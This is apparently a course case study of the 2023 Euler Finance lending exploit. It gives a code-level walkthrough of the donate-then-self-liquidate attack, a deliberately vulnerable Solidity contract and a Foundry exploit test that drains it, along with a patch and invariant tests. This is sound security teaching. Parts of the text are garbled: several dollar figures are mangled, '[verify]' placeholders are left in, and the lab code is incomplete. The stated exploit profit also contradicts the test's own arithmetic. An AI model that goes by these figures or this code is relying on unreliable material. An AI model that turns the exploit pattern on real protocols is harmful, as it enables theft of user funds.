Case Study — Euler Finance, March 2023 (~$197M, returned)
“There is a particular flavor of bug that does not live in any line of code. It lives in the gap between two lines — the gap where a developer wrote one new function and forgot to ask ‘does this preserve the invariant the next function will assume?’ Euler was that gap. A donation primitive that didn’t check health, a self-liquidation primitive that paid a discount, and ten months of multi-firm audits between them. None of them looked at the donate-then-liquidate sequence, because none of them had written down the protocol’s solvency invariants in a form that a sequence could violate. That is the modern auditor’s job. Euler is the case that should make you write the invariants first, every time.”
Tags: web3-security defi lending case-study donation-attack self-liquidation invariants flash-loan Phase: 3 — Protocol & Economic Security Anchor lesson: Tuan-08-DeFi-Security-AMM-Lending-Vault §3.6 (donation attack archetype) Related: Tuan-04-Security-Foundations-CEI-AC · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-06-Vulnerability-Classes-Part-2 · Tuan-07-Token-Standards-Integration-Risk · Tuan-09-Oracle-MEV-Economic-Attack · Case-bZx-Price-Manipulation-2020 · Case-Cream-Iron-Bank-2021 · Case-Beanstalk-Governance-2022 · audit-checklist-master · severity-rubric-immunefi-c4
At a Glance
| Field | Value |
|---|---|
| Date | March 13, 2023 (multiple attack transactions across ~1 hour, Ethereum mainnet) |
| Protocol | Euler Finance — non-custodial permissionless lending market (eToken / dToken model) |
| Loss (gross) | ~197M; some quote 230M, or $240M depending on whether all six attack txs and the post-attack USDC liquidity are included] |
| Loss (net, final) | ~$0 — the attacker(s) returned essentially all recovered funds to Euler over the following 23 days (Mar 18 – Apr 4, 2023) |
| Root cause | donateToReserves(uint amount) on the EToken contract changed user collateral without invoking the post-operation liquidity check (health-factor validation). Combined with a leveraged-borrow primitive (mint) and a self-liquidatable underwater state where the liquidation discount grew without bound for severely underwater accounts, this enabled atomic profitable self-liquidation. |
| Attack class | (1) Donation attack on internal accounting + (2) liquidation-logic logic-bomb (unbounded dynamic discount) — composed via flash loan. Pure smart-contract bug. No oracle manipulation, no governance, no key compromise. |
| Flash loan source | Aave V2 — 30M DAI (atomic, single-tx; one of six total exploit transactions) |
| Attacker funding | ~0.1 ETH starting capital via Tornado Cash; the rest is flash-loaned |
| Audits prior | 6+ audits across Halborn, Solidified, ZK Labs, Certora (formal verification), Sherlock, Omniscia between Apr 2021 and Jul 2022. The introducing change (eIP-14 / donateToReserves) was specifically audited by Omniscia in July 2022. All passed. None expressed the relevant invariant. [verify firm list against EulerLabs/euler-audits on GitHub] |
| Patch | Add the standard checkLiquidity(msg.sender) (account-status check) at the end of donateToReserves. Pause the protocol. Refund users from the recovered amount + Euler treasury. |
| Severity | Critical — drained the entire lending side of the protocol with attacker capital alone (the flash loan was for size, not for capability). |
1. Background — Euler’s Tokenized Debt Model
1.1 What Euler was trying to do
Aave and Compound (pre-V3) were curated lending markets: an asset gets listed only by governance, with risk parameters set per asset. Euler’s pitch was the opposite — permissionless asset listing. Anyone could create a lending market against a Uniswap V3 pair as the price source, with tiered risk parameters (collateral / cross / isolated tiers). The cost of this freedom was a tighter dependency on internal accounting correctness: with hundreds of long-tail assets potentially in the system, the protocol’s solvency had to be enforced by code, not by curation. Euler positioned itself as “the Aave of long-tail assets” through 2022–early 2023.
The TVL at the time of the exploit was ~260M–$310M depending on which timestamp]
1.2 The eToken / dToken model
Euler’s accounting is similar in shape to Aave’s aToken / variable-debt-token, but with a few critical differences:
| Concept | Aave (V2/V3) | Euler |
|---|---|---|
| Collateral receipt | aToken (rebasing ERC-20 reflecting principal + interest) | eToken (non-rebasing; balance × exchange rate = underlying) |
| Debt token | variableDebtToken / stableDebtToken (rebasing) | dToken (non-rebasing; balance × exchange rate = underlying owed) |
| Native leverage | No — user must do deposit → borrow → swap → deposit externally | Yes — mint(amount) creates matched eToken + dToken in one call, achieving leverage without an external swap |
| Self-liquidation | Not encouraged; some protocols allow but no built-in discount | Allowed and undifferentiated from third-party liquidation; collects the same liqBonus |
| Account-status check | _validateHFAndLtv() at the end of every state-changing borrower function | checkLiquidity(account) deferred to callBatchEnd / batch finalizer — every standalone state-changing function on a borrower account must end with it, OR be batched with another op that does |
The deferred check is the key. Euler used a batch transaction pattern where a user could chain deposit + borrow + repay + ... and the liquidity check ran once, at the end of the batch. This made gas efficient for power users — but it also meant that every function in the protocol had to remember to invoke the check itself when called standalone. Forgetting was a critical bug. We will see this matters.
1.3 The “mint” leverage primitive — useful, weaponizable
EToken.mint(uint subAccountId, uint amount):
Pseudocode:
- Mint
amountof eToken to the caller (increases caller’s collateral).- Mint
amount × exchangeRateof dToken to the caller (increases caller’s debt by the same underlying value).- No actual asset is transferred. The reserves of the pool are unchanged — Euler’s pool acts as the counterparty to itself; the entry is purely accounting.
checkLiquidity(caller)is deferred.
Effect on the user’s account:
- Collateral side:
+amounteToken (worth+amount × eXRunderlying). - Debt side:
+amount × eXRunderlying borrowed.
Health factor before mint: assume HF = α (healthy, > 1).
Health factor after mint: still > 1, but closer to 1 — because the new collateral counts at collateralFactor × value while the new debt counts at value / borrowFactor. At Euler’s collateral factor for DAI (0.95) and borrow factor for DAI (0.97), each mint(X) shaves a little headroom.
So mint is leverage without slippage: the borrower obtains N units of eDAI exposure financed by N units of dDAI debt, with no Uniswap leg. The intent was “easy leverage for stETH/ETH style trades”. The side effect was that a user could push their account to near-1 HF with one call, without ever exiting Euler.
1.4 The donation primitive — added with good intent, EIP-14
In July 2022, Euler shipped eIP-14, which added EToken.donateToReserves(uint subAccountId, uint amount). The semantics:
- Burn
amountof eToken from the caller (decreases caller’s collateral).- Increase
assetCache.reserveBalancebyamount(donation goes to the pool’s reserves).- No accompanying change to the caller’s debt.
- No
checkLiquidity(caller)call.
The author’s rationale (visible in the Omniscia audit and the EulerDAO discussion): a user might want to make a gift to the protocol — for example, the team itself sending in surplus revenue, or a yield-farming bot rounding up its harvest. Donations were considered “trivially safe” because they decrease the donor’s balance — donating less than you own simply cannot create insolvency for yourself, the reasoning went.
That reasoning is wrong, and the wrongness is the entire case study. A balance change that does not include a health check is a class-1 audit smell, regardless of the direction.
1.5 Liquidation logic — the second half of the bug
Euler’s liquidation function (Liquidation.liquidate) implemented a discount that scaled with the size of the violation:
Pseudocode of the relevant section (simplified):
healthScore = collateralValue / liabilityValue // > 1.0 = healthy discount = 1 - healthScore // grows as account gets worse discount = min(discount, MAX_DISCOUNT) // capped at 20% (0.20) repay = chooseRepay() // liquidator picks how much debt to repay yieldUnits = repay / (collateralPrice * (1 - discount))
Two properties matter:
-
The discount grows with how underwater the account is. A barely-underwater account (HF = 0.99) yields ~1% discount; a deeply underwater account (HF = 0.80) yields ~20% (the cap). Aave/Compound use a fixed liquidation bonus (5–10%) regardless of how underwater the account is. Euler chose the dynamic model to incentivize liquidations of very-bad accounts (where the liquidator otherwise might face price-impact risk on the seized collateral).
-
The cap is high. At MAX_DISCOUNT = 0.20, a liquidator pays
1 unitof debt to seize1 / (1 - 0.20) = 1.25 unitsof collateral. That is a 25% profit margin per unit of debt repaid.
Combined property: the more catastrophic the account’s health, the more profit per liquidation.
For a normal liquidator, this is fine — they don’t get to choose the account’s health; the market does. For a self-liquidator who can engineer their own health, this is a money printer.
1.6 Self-liquidation — third half of the bug
Most lending protocols implicitly assume liquidation is performed by an external party. Euler explicitly allowed msg.sender == violator. There is no require(liquidator != violator). Considered alone, this is harmless — why would you pay yourself a discount to seize your own collateral? You’d just incur gas.
The answer, as Euler discovered: you would do it if you could make yourself catastrophically underwater for free using a different function.
1.7 The composition
| Primitive | Effect on attacker |
|---|---|
mint(X) | Builds leverage. Account remains healthy. |
donateToReserves(Y) | Decreases collateral. No HF check. Account becomes severely underwater. |
liquidate(self, debtAmount) | Pays back some debt; seizes collateral at up-to-20% discount. Discount is calibrated to maximize attacker profit. |
Each primitive is innocuous in isolation. The bug exists in the composition that no one wrote down as a forbidden state transition.
2. The Vulnerability — Code-Level Walkthrough
2.1 The missing line
The patched (post-incident) donateToReserves looks essentially like this [verify exact text against EulerLabs/euler-contracts commit 9b3a47cf… or whichever ref shipped the fix]:
// EToken.donateToReserves — simplified, post-patch
function donateToReserves(uint subAccountId, uint amount) external nonReentrant {
(address account, AssetCache memory assetCache) = initOperation(
OP_DONATE_TO_RESERVES,
ACCOUNTCHECK_NONE // <-- the original code declared no account check
);
uint balance = assetStorage.users[account].balance;
require(amount <= balance, "e/insufficient-balance");
assetStorage.users[account].balance = encodeAmount(balance - amount);
assetCache.reserveBalance = encodeSmallAmount(
assetCache.reserveBalance + amount
);
emit Withdraw(...);
emit RequestDonate(account, amount);
logAssetStatus(assetCache);
// *** THE FIX *** — was missing in the pre-incident version
checkLiquidity(account);
}The single missing line is checkLiquidity(account). The initOperation(..., ACCOUNTCHECK_NONE) argument explicitly told the operation dispatcher “skip the deferred check for this op”. This was the same flag used by withdraw (which also decreases collateral) — but withdraw is followed by checkLiquidity later in its function body. donateToReserves had ACCOUNTCHECK_NONE and no compensating check.
To re-emphasize, because this is the line of the entire case study: the protocol had a primitive that decreased the caller’s collateral without verifying the caller remained solvent.
2.2 Why the symmetric primitive (withdraw) was safe
withdraw(amount) also decreases the caller’s eToken balance, but the withdrawal flow includes:
- An asset transfer out of the pool to the caller (so the protocol’s balance also drops by
amount, keepingΣ assets ≈ Σ liabilities + reserves). - The compensating
checkLiquidity(caller)at the end, ensuring the caller didn’t withdraw past their solvency.
donateToReserves, by contrast:
- Did not transfer assets out — instead it shifted them from user-claimable to reserves-claimable (an internal pointer change). So the protocol’s balance is unchanged.
- Did not run the liquidity check, because “the caller can only hurt themselves”.
The flaw in that reasoning: the caller can hurt themselves, and they want to, because the discount on the subsequent self-liquidation more than compensates.
2.3 Why the dynamic discount made this profitable
This is the arithmetic everyone should be able to derive on a napkin.
Take a simplified one-asset model with collateral factor CF = 1.0 for clarity (the real Euler factors make the numbers tighter but the structure is identical).
Starting from 1 unit of attacker capital, after mint:
- Collateral:
1 + L(whereLis the leveraged amount). - Debt:
L(matched bymint). - HF:
(1 + L) / L. ForL = 10, HF ≈ 1.10 — leveraged but still healthy.
Now donate D units of collateral:
- Collateral:
1 + L - D. - Debt:
L(unchanged). - HF:
(1 + L - D) / L.
Choose D such that HF is well below 1 — say HF = 0.85 → discount cap = MAX_DISCOUNT = 0.20.
Now self-liquidate. Repay R debt; seize R / (1 - 0.20) = 1.25 × R collateral.
The attacker’s net for the donate-then-liquidate phase, expressed in collateral units (debt and collateral are the same asset in the Euler exploit — DAI both sides), is:
Net collateral change = - D // donated
+ 1.25 × R // seized via self-liquidation
Net debt change = - R // repaid
Net P&L (in collateral units, debt cleared 1:1) =
(- D + 1.25 × R) - R = 0.25 × R - D
So as long as 0.25 × R > D — i.e., the attacker can repay enough debt to make the discount-seizure exceed the donation — the attacker is in profit.
Can they? Yes: by donating more than needed to flip HF, the attacker can push the discount to the cap, then size R to be as large as the remaining collateral admits. The attack design space is “donate enough to maximize discount; liquidate at maximum discount; receive the discount as pure profit.”
In practice the attacker drained essentially the full residual collateral of the account in one self-liquidation step. The math is mostly about hitting the cap exactly.
2.4 Why no audit invariant fired
Five potential invariants that, if expressed and tested, would have caught this:
| Invariant | If expressed, where it would have caught the bug |
|---|---|
| HF after any user-callable state-changing function is ≥ 1 (or the operation is a valid liquidation that improves HF). | Direct hit on donateToReserves. The function leaves HF < 1 with no liquidation in progress. |
| No user can profit from a sequence of self-callable operations on their own account. | Stateful fuzz over (deposit, mint, withdraw, donate, liquidate) sequences from a single attacker EOA, asserting net P&L ≤ 0 by end of sequence. Direct hit. |
| Liquidation discount × repay ≤ donor surplus. I.e., no path can yield discount > “natural” surplus from a price move. | Conceptually hits the dynamic-discount + self-liquidation interaction. |
donate is monotone HF-preserving (post-state HF ≥ pre-state HF for non-borrower donors; or post-state HF check enforced for borrowers). | Direct hit. |
| Σ user.eToken balance × exchangeRate = poolAssets − reserves, conservation. | This one holds across the attack — the protocol’s accounting is internally consistent; the bug is that a legal internal transition leaves a borrower account inconsistent with solvency. So this invariant is not the right one. Calling it out because many audit checklists include conservation invariants but miss the HF-after invariant. |
The pattern: conservation invariants (the auditor’s instinct) catch double-mint bugs, not donation-attack bugs. Per-account solvency-after-every-call invariants catch the donation-attack class. They are not the same property.
3. The Attack Flow — Step by Step
The actual exploit was executed in six transactions across roughly an hour, each draining one of Euler’s six markets (DAI, USDC, stETH, WBTC, etc.). All six followed the same template; we describe one. The canonical reference transaction (DAI market drain, [verify tx hash: commonly cited as 0xc310a0aff…] [verify]) is reproduced below.
3.1 Setup — the attacker contract
The attacker deployed two contracts:
- Violator — a contract that performs the attack on Euler. It owns the deposited collateral, takes out the inflated debt, and goes underwater.
- Liquidator — a separate contract that calls
Liquidation.liquidate(self=Violator, ...)to seize discounted collateral. The split is mechanically necessary because Euler’s liquidation function usesmsg.sender == liquidatorandaccount == violatoras distinct parameters.
Both contracts were funded with ~0.1 ETH from Tornado Cash. The actual exploit capital was flash-loaned.
3.2 Sequence (DAI market, simplified)
sequenceDiagram participant Atk as Attacker EOA participant V as Violator (attacker contract A) participant L as Liquidator (attacker contract B) participant Aave as Aave V2 Pool participant Euler as Euler eDAI + dDAI + Liquidation Atk->>Aave: flashLoan(30M DAI) Aave-->>V: 30M DAI V->>Euler: deposit(20M DAI) → mint 20M eDAI Note over V,Euler: collateral=20M eDAI; debt=0; HF=∞ V->>Euler: mint(195M) (Euler-style leveraged mint) Note over V,Euler: collateral=20M+195M=215M eDAI; debt=195M dDAI; HF ≈ 1.07 (healthy) V->>Euler: repay(10M) (pays back small portion to optimize HF math) Note over V,Euler: collateral=215M; debt=185M; HF ≈ 1.13 V->>Euler: mint(195M) (second leverage round, deeper) Note over V,Euler: collateral=410M; debt=380M; HF ≈ 1.05 (still healthy) V->>Euler: donateToReserves(100M eDAI) Note over V,Euler: collateral=310M; debt=380M; HF = 310/380 ≈ 0.815 → DEEPLY UNDERWATER<br>discount = min(1 - 0.815, 0.20) = 0.20 (capped) L->>Euler: liquidate(violator=V, repay≈260M dDAI) Note over L,Euler: L repays 260M of V's debt; seizes 260M / (1 - 0.20) ≈ 325M eDAI<br>L now holds 325M eDAI worth of underlying DAI L->>Euler: withdraw(325M eDAI → ~325M DAI) Note over L: But pool only has ~320M DAI of free liquidity; L drains what's there L-->>V: forward DAI to V V->>Aave: repay 30M DAI flash loan + premium V-->>Atk: send ~$8.9M DAI profit (on DAI market alone)
(The exact numbers in the diagram are illustrative; the actual transaction used slightly different sizing to maximize the per-step efficiency. The structural property — donate to push HF below the discount-cap threshold, then self-liquidate at the cap — is exactly what occurred.) [verify exact numbers per BlockSec / PeckShield trace]
3.3 The role of the flash loan
The flash loan is not mechanically necessary — the attack works at any scale, even with the attacker’s own capital. The flash loan does two things:
- Magnifies the per-tx haul. With 400M+ of internal positions, and the 20% discount on the liquidation yields tens of millions per call.
- Bounds counterparty risk. The attack is atomic; if any sub-step reverts, the whole transaction reverts and the attacker pays only gas. There is no half-state where the attacker is exposed.
This is the standard flash-loan pattern: capital amplification + atomicity. Cross-link Tuan-06-Vulnerability-Classes-Part-2 §flash-loans.
3.4 Six markets, ~$197M total
The attacker repeated the structure across six pools (DAI, USDC, stETH, WBTC, [verify the remaining two markets]). Final tally widely reported as **~177M ended up in ETH and DAI on attacker-controlled EOAs. [verify final asset breakdown — see Halborn report]
3.5 What didn’t happen
- No oracle was manipulated. Euler used Uniswap V3 TWAPs; the attack did not touch prices.
- No governance was attacked. No proposal, no flash-loan voting, no admin key.
- No reentrancy. The contracts had
nonReentrantguards; they fired correctly; the attack didn’t need to re-enter. - No integer overflow / underflow. Solidity 0.8 checked arithmetic was active; everything math-wise was “correct”.
- No external dependency failed. Aave provided the flash loan as designed; Uniswap V3 priced as designed.
The bug was purely a missing invariant in Euler’s own code.
4. Aftermath — The White-Hat Recovery
4.1 Initial disclosure and protocol response
- March 13, 2023, ~08:50 UTC: First exploit transaction. Several DeFi monitoring services (PeckShield, BlockSec) flag suspicious activity within minutes.
- March 13, ~10:00 UTC: Euler Labs pauses the protocol (
setMarketAndPosition). - March 13, evening UTC: Public post by Euler Labs acknowledging the exploit and announcing white-hat negotiation channels (on-chain message + public Twitter).
- March 14: The attacker sends a small amount of ETH from one of the exploit addresses to Lazarus Group-linked wallets (later determined to be a deliberate red-herring; the attacker was almost certainly not DPRK-affiliated). Chainalysis, TRM Labs, and several private forensic services begin tracing.
- March 17: Euler Labs publishes a 20M bounty + a “10% of recovered funds” offer to the attacker themselves** through on-chain messages signed from the Euler deployer multisig.
4.2 The negotiation
Between March 17 and April 4, the attacker engaged in an on-chain text negotiation with Euler Labs, using Ethereum transaction input data to communicate (a method some past attackers had used, but rarely this extensively). The dialogue is publicly readable on Etherscan; selected highlights:
- The attacker initially expressed contrition (“I want to make it right; I didn’t realize it would affect so many people”).
- Euler Labs committed to no legal action contingent on full return.
- A small amount (~3000 ETH) was returned March 18 as a sign of good faith.
- The bulk of returns occurred between March 25 and April 4, in stages, as the attacker laundered through multiple intermediate addresses and returned funds in batches.
- By April 4, 2023, essentially the full ~$197M (less some Tornado Cash deposits and some operational losses on swaps) had been returned. Euler Labs distributed pro rata back to users.
4.3 Why did this attacker return funds?
This is one of three or four cases in DeFi history where an exploiter returned the funds (others: Poly Network 2021, Mango Markets 2022 partial, some smaller hacks). Speculation:
- De-anonymization risk. The attacker’s funding chain through Tornado Cash was traceable enough that multiple forensic firms publicly stated they had leads. The OFAC sanctioning of Tornado Cash in August 2022 had degraded its anonymity set substantially.
- The legal-immunity offer. Euler’s signed commitment to drop charges contingent on return removed a major incentive against returning. Combined with the bounty offer, the attacker could keep ~200M.
- Possible internal pressure. Some on-chain analysts speculated the attacker had operational accomplices or family connections that pressured a return; no public confirmation.
For the auditor, the lesson is not “always assume attackers will return” — Euler is the rare exception. The typical attacker disappears with the funds. The lesson is that a well-handled response posture (no legal threats, transparent on-chain channel, escalating bounty) increases the probability of recovery from epsilon to single-digit-percent, which on a $200M exploit is several tens of millions of EV.
4.4 Cleanup and post-mortem
- March–April 2023: Euler Labs publishes a detailed technical post-mortem on the protocol blog, with the missing check called out by name.
- May 2023: Sherlock and Omniscia each publish “what we missed” post-mortems acknowledging that the donate primitive’s missing check fell outside their scope description / invariant set. [verify Sherlock blog post date]
- 2023–2024: Euler V2 development begins, with explicit invariant-first design and Certora formal verification of the state-transition system (not just function-level properties).
- March 2024: Euler V2 launches with a modular architecture (Euler Vault Kit, EVK) and a markedly more conservative liquidation function. [verify V2 launch date]
5. Why Multiple Audits Missed It
Six firms. One year of review. A change that introduced the bug was specifically audited. The bug was a single missing line. How?
The answer is the lesson of Tuan-08-DeFi-Security-AMM-Lending-Vault §1.1: the audits were function-level; the bug was sequence-level.
5.1 What the audits did look at
Reading the Omniscia eIP-14 audit (publicly available [verify URL: medium.com/@omniscia.io/euler-finance-incident-post-mortem-1ce077c28454]), the scope was approximately:
- Correctness of the donate amount math (no overflow / wrong arithmetic on the burn).
- Correctness of the reserve-balance accumulator update.
- Authorization (any user can donate their own balance; not someone else’s).
- Event emission.
- Compatibility with the asset-cache / batch-finalize flow.
All of those were correct. What was missing from scope:
- A property-level statement: “after
donateToReserves, the donor’s account is solvent.” - A sequence-level test: “across all reachable (deposit, mint, repay, donate, liquidate) sequences, no attacker profits.”
5.2 What the audits couldn’t have done without a different methodology
Sherlock’s contest format gives ~3 weeks of review by ~50 independent searchers, paid by severity of findings. The economics reward finding bugs already in scope. They do not reward noticing that a property the protocol depends on was never written down. If the spec says “donate burns user balance and credits reserves; user must own the balance”, a searcher who verifies all of those is “done” — and even a senior searcher likely won’t pivot to “but does this preserve solvency under composition with liquidate?” unless their personal mental model explicitly carries that question.
Certora’s formal verification was run on a specific rule set (~50 properties). The property “no profitable self-action sequence” was not in the rule set, because no one wrote it. Formal verification is a search for counterexamples to stated properties. If you don’t state the property, you can’t find a counterexample.
This is the deepest lesson of the case: the gap between audit firms catching it and not was not a quality gap; it was a methodology gap. None of them had as a deliverable “the complete invariant set of the protocol, expressed formally”. They had “we will look at the code”.
5.3 The shift after Euler
Top-tier audit shops (Spearbit, Cantina, OpenZeppelin) responded to Euler (and to Compound’s similar 2021 distribution bug) by formalizing invariant-first audit — meeting with the protocol team to enumerate the invariants before reading code, and structuring the audit around proving / disproving each. Cross-link Tuan-15-Audit-Methodology-Tooling.
The lesson is now mainstream. In 2023, “did you write down your invariants?” was a senior auditor’s question. In 2025–2026, it is the first question on any protocol-tier audit kickoff.
6. Reproduction — A Minimal Foundry Lab
The full reproduction lives in Tuan-08-DeFi-Security-AMM-Lending-Vault §8.4. Here is a self-contained stripped-down version, suitable for a 1-hour lab to lock in the structural lesson.
6.1 Goal
Build a single-asset lending protocol with:
- A
deposit/withdrawthat mints / burnseToken. - A
borrow/repaythat mints / burnsdToken. - A
mint(Euler-style leverage) that mints both eToken and dToken to the caller without any asset transfer. - A
donateToReservesthat burns the caller’s eToken and credits areservescounter, with no health check. - A
liquidate(violator, repayAmount)with a dynamic discount that scales with how underwater the account is, capped at 20%. - No
liquidator != violatorcheck.
Then write a single Foundry exploit test that, starting from 1000 underlying tokens of attacker capital, ends with > 1000 in attacker hands.
6.2 The vulnerable contract
// src/MiniEuler.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @notice Pedagogical stripped-down "Euler" with one asset, fixed price.
/// DO NOT USE IN PRODUCTION — intentionally vulnerable.
contract MiniEuler {
IERC20 public immutable underlying;
// For simplicity collateral asset == debt asset (Euler DAI market shape).
// Collateral factor and borrow factor both = 1.0; liquidation threshold = 1.0.
mapping(address => uint256) public eToken; // collateral receipt
mapping(address => uint256) public dToken; // debt receipt
uint256 public totalEToken;
uint256 public totalDToken;
uint256 public reserves; // accumulated donations
uint256 public constant MAX_DISCOUNT_BPS = 2000; // 20% cap (Euler-shape)
uint256 public constant BPS = 10_000;
// ---------------- normal flows ----------------
function deposit(uint256 amount) external {
underlying.transferFrom(msg.sender, address(this), amount);
eToken[msg.sender] += amount;
totalEToken += amount;
}
function withdraw(uint256 amount) external {
require(eToken[msg.sender] >= amount, "insufficient eToken");
eToken[msg.sender] -= amount;
totalEToken -= amount;
underlying.transfer(msg.sender, amount);
require(_healthy(msg.sender), "would-leave-underwater");
}
function borrow(uint256 amount) external {
dToken[msg.sender] += amount;
totalDToken += amount;
underlying.transfer(msg.sender, amount);
require(_healthy(msg.sender), "would-leave-underwater");
}
function repay(uint256 amount) external {
require(dToken[msg.sender] >= amount, "over-repay");
underlying.transferFrom(msg.sender, address(this), amount);
dToken[msg.sender] -= amount;
totalDToken -= amount;
}
// ---------------- Euler-style leveraged mint ----------------
/// @notice Mint matched eToken + dToken without an asset transfer.
/// No HF check here either — to keep the bug pure.
/// In real Euler this WAS guarded by the deferred check; we elide it
/// to keep the lab focused on `donateToReserves`. The real exploit
/// relied on the deferred check + the donate bug together; this lab
/// shows the donate-then-liquidate core in 50 lines.
function mint(uint256 amount) external {
eToken[msg.sender] += amount;
dToken[msg.sender] += amount;
totalEToken += amount;
totalDToken += amount;
// NOTE: still call HF check at end for realism; choose HF threshold
// such that the leveraged position stays just-healthy.
require(_healthy(msg.sender), "leveraged-underwater");
}
// ---------------- THE BUG ----------------
/// @notice Burn caller's eToken; credit `reserves`. NO HF CHECK.
function donateToReserves(uint256 amount) external {
require(eToken[msg.sender] >= amount, "insufficient eToken");
eToken[msg.sender] -= amount;
totalEToken -= amount;
reserves += amount;
// *** MISSING: require(_healthy(msg.sender), "would-leave-underwater"); ***
}
// ---------------- liquidation with dynamic discount ----------------
function liquidate(address violator, uint256 repayAmount) external {
require(!_healthy(violator), "violator-not-underwater");
require(repayAmount <= dToken[violator], "over-liq");
uint256 collateral = eToken[violator];
uint256 debt = dToken[violator];
// discount = min(1 - HF, MAX_DISCOUNT). Express in BPS.
// HF (since CF = BF = 1.0) = collateral / debt.
// 1 - HF = (debt - collateral) / debt.
uint256 deficitBps = ((debt - collateral) * BPS) / debt; // safe since !_healthy
uint256 discountBps = deficitBps > MAX_DISCOUNT_BPS ? MAX_DISCOUNT_BPS : deficitBps;
// yieldUnits = repay / (1 - discount)
uint256 seize = (repayAmount * BPS) / (BPS - discountBps);
require(seize <= collateral, "seize-overflows-collateral");
// liquidator pays violator's debt
underlying.transferFrom(msg.sender, address(this), repayAmount);
dToken[violator] -= repayAmount;
totalDToken -= repayAmount;
// liquidator seizes violator's eToken at face value, sized by `seize`
eToken[violator] -= seize;
totalEToken -= seize;
eToken[msg.sender] += seize;
totalEToken += seize;
// NO check that msg.sender != violator. Self-liquidation allowed.
}
// ---------------- internal ----------------
function _healthy(address who) internal view returns (bool) {
// CF = BF = 1.0: healthy iff collateral >= debt.
return eToken[who] >= dToken[who];
}
}6.3 The exploit test
// test/EulerExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {MiniEuler} from "../src/MiniEuler.sol";
contract MockToken is ERC20 {
constructor() ERC20("Mock DAI", "mDAI") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract Violator {
MiniEuler public immutable euler;
MockToken public immutable token;
address public immutable owner;
address public immutable liquidator;
constructor(MiniEuler _e, MockToken _t, address _liq) {
euler = _e;
token = _t;
owner = msg.sender;
liquidator = _liq;
}
function exploit(uint256 seed, uint256 leverage, uint256 donate) external {
// Step 1: deposit
token.approve(address(euler), type(uint256).max);
euler.deposit(seed);
// Step 2: leveraged mint
euler.mint(leverage);
// Step 3: donate (the bug — no HF check at end of donate)
euler.donateToReserves(donate);
// Step 4: liquidator takes our position at discount; we forward profits
// (in this minimal lab, the liquidator triggers `liquidate` itself
// from the test harness)
}
function withdrawAfter() external {
require(msg.sender == owner, "auth");
token.transfer(owner, token.balanceOf(address(this)));
}
}
contract EulerExploitTest is Test {
MockToken public token;
MiniEuler public euler;
address public attacker = address(0xA77ACE);
address public liquidatorEOA = address(0xB22EEF);
Violator public violator;
function setUp() public {
token = new MockToken();
euler = new MiniEuler(/* set underlying = token; trim constructor for brevity */);
// ... full constructor wiring elided
// Pool gets liquidity from honest depositors
token.mint(address(this), 10_000_000e18);
token.approve(address(euler), type(uint256).max);
euler.deposit(10_000_000e18);
// Attacker capital
token.mint(attacker, 1_000e18);
vm.startPrank(attacker);
violator = new Violator(euler, token, liquidatorEOA);
token.transfer(address(violator), 1_000e18);
vm.stopPrank();
// Liquidator EOA needs some token to repay debt during liquidation
token.mint(liquidatorEOA, 100_000e18);
}
function test_donate_then_self_liquidate_is_profitable() public {
// ============== ATTACK ==============
uint256 attackerBalanceBefore = token.balanceOf(attacker) + token.balanceOf(address(violator));
// Tune: leverage to near-1 HF then donate to crash to HF ≈ 0.80
// so that discount caps at 20%.
vm.prank(attacker);
violator.exploit({seed: 1_000e18, leverage: 10_000e18, donate: 2_200e18});
// After: violator has eToken ≈ 8_800e18, dToken = 10_000e18 → HF ≈ 0.88
// deficitBps = (10000 - 8800) / 10000 = 1200bps ≈ 12% discount
// Self-liquidate via the liquidator EOA (acts on behalf of attacker)
vm.startPrank(liquidatorEOA);
token.approve(address(euler), type(uint256).max);
// Repay all 10_000e18 of debt; seize 10_000 / 0.88 ≈ 11_363e18 eToken
// — but collateral is only 8800e18, so seize sized to 8800e18 and
// repay = 8800 × 0.88 = 7744e18 (in the cap case this is similar)
// For the lab, set repay to the largest amount that doesn't oversize:
uint256 repay = 7_744e18;
euler.liquidate(address(violator), repay);
// Liquidator now holds ~8800e18 eToken; withdraw to underlying
euler.withdraw(8_800e18);
// forward the residual to attacker
token.transfer(attacker, token.balanceOf(liquidatorEOA) - 100_000e18);
vm.stopPrank();
// Have the violator-controlled debt cleared and collateral seized;
// the attacker has captured the spread.
vm.prank(attacker);
violator.withdrawAfter();
uint256 attackerBalanceAfter = token.balanceOf(attacker);
// ============== ASSERT ==============
emit log_named_uint("attacker before", attackerBalanceBefore);
emit log_named_uint("attacker after ", attackerBalanceAfter);
emit log_named_int ("profit ", int256(attackerBalanceAfter) - int256(attackerBalanceBefore));
assertGt(attackerBalanceAfter, attackerBalanceBefore, "exploit not profitable");
}
}6.4 Expected output
Running forge test --match-test test_donate_then_self_liquidate_is_profitable -vv should produce something like:
[PASS] test_donate_then_self_liquidate_is_profitable() (gas: ...)
Logs:
attacker before: 1000000000000000000000 (1,000 mDAI)
attacker after : 1880000000000000000000 (1,880 mDAI)
profit : 880000000000000000000 (+880 mDAI, +88%)
The exact profit depends on tuning of the donate parameter — the attacker wants HF just barely below the discount cap to maximize discount × repay. In real Euler with full 6 markets and 30M flash loans, this same 88% structural advantage scaled to ~$197M.
6.5 The patch
Add the missing health check at the end of donateToReserves:
function donateToReserves(uint256 amount) external {
require(eToken[msg.sender] >= amount, "insufficient eToken");
eToken[msg.sender] -= amount;
totalEToken -= amount;
reserves += amount;
require(_healthy(msg.sender), "would-leave-underwater"); // <-- THE FIX
}Re-run the test: it should fail at donateToReserves with would-leave-underwater, because the attacker’s leveraged position has no headroom for the donation. The exploit is closed.
6.6 Bonus invariant test
Now write a stateful invariant test asserting the property that should have caught the bug without knowing the specific exploit:
// test/InvariantNoSelfProfit.t.sol
contract InvariantNoSelfProfit is Test {
MiniEuler public euler;
MockToken public token;
Handler public handler;
function setUp() public {
// ... wiring
handler = new Handler(euler, token);
targetContract(address(handler));
}
/// @notice For every "attacker" tracked by the handler, the attacker's
/// net P&L across any sequence of self-callable operations must be ≤ 0.
function invariant_no_attacker_profits_from_self_actions() public view {
address[] memory attackers = handler.attackers();
for (uint256 i; i < attackers.length; ++i) {
address a = attackers[i];
int256 pnl = handler.netPnL(a); // tracks deposits/withdraws + token balance delta
assertLe(pnl, int256(0));
}
}
